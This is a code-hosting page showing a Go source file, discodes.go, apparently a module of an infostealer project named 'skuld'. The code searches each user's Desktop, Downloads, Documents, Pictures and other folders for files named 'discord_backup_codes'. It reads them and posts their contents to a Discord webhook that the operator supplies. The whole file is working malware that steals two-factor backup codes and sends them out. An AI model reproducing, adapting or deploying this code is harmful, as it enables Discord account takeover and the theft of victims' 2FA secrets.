-
Notifications
You must be signed in to change notification settings - Fork 18
/
discodes.go
56 lines (53 loc) · 1.21 KB
/
discodes.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
package discodes
import (
"github.com/hackirby/skuld/utils/hardware"
"github.com/hackirby/skuld/utils/requests"
"os"
"path/filepath"
"strings"
)
func Run(webhook string) {
for _, user := range hardware.GetUsers() {
for _, dir := range []string{
filepath.Join(user, "Desktop"),
filepath.Join(user, "Downloads"),
filepath.Join(user, "Documents"),
filepath.Join(user, "Videos"),
filepath.Join(user, "Pictures"),
filepath.Join(user, "Music"),
filepath.Join(user, "OneDrive"),
} {
if _, err := os.Stat(dir); err != nil {
continue
}
filepath.Walk(dir, func(path string, info os.FileInfo, err error) error {
if err != nil {
return nil
}
if info.IsDir() {
return nil
}
if info.Size() > 2*1024*1024 {
return nil
}
if !strings.HasPrefix(info.Name(), "discord_backup_codes") {
return nil
}
data, err := os.ReadFile(path)
if err != nil {
return nil
}
requests.Webhook(webhook, map[string]interface{}{
"content": "`" + path + "`",
"embeds": []map[string]interface{}{
{
"title": "Discord Backup Codes",
"description": "```" + string(data) + "```",
},
},
})
return nil
})
}
}
}